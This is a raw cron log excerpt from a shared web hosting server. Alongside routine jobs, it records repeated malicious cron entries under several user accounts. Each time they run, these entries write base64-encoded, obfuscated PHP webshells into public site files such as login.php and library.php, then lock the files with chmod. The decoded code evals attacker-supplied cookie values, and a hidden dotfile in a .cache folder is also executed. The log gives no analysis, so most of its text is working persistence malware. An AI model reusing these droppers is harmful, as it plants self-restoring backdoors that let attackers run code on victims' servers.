"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:25:01 medusa CROND[9101]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:25:01 medusa CROND[9108]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:25:01 medusa CROND[9111]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:25:01 medusa CROND[9112]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:25:01 medusa CROND[9114]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:25:01 medusa CROND[9116]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:25:01 medusa CROND[9110]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:25:01 medusa CROND[9123]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 07:25:01 medusa CROND[9119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:25:01 medusa CROND[9122]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 07:26:01 medusa CROND[11221]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:26:01 medusa CROND[11223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:26:01 medusa CROND[11224]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:26:01 medusa CROND[11225]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 07:26:01 medusa CROND[11227]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:26:01 medusa CROND[11230]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:26:01 medusa CROND[11233]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 07:26:01 medusa CROND[11232]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:26:01 medusa CROND[11235]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 07:26:01 medusa CROND[11237]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:26:01 medusa CROND[11240]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:26:01 medusa CROND[11241]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:26:01 medusa CROND[11243]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:26:01 medusa CROND[11256]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:27:01 medusa CROND[13279]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:27:01 medusa CROND[13280]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:27:01 medusa CROND[13281]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 07:27:01 medusa CROND[13283]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:27:01 medusa CROND[13285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
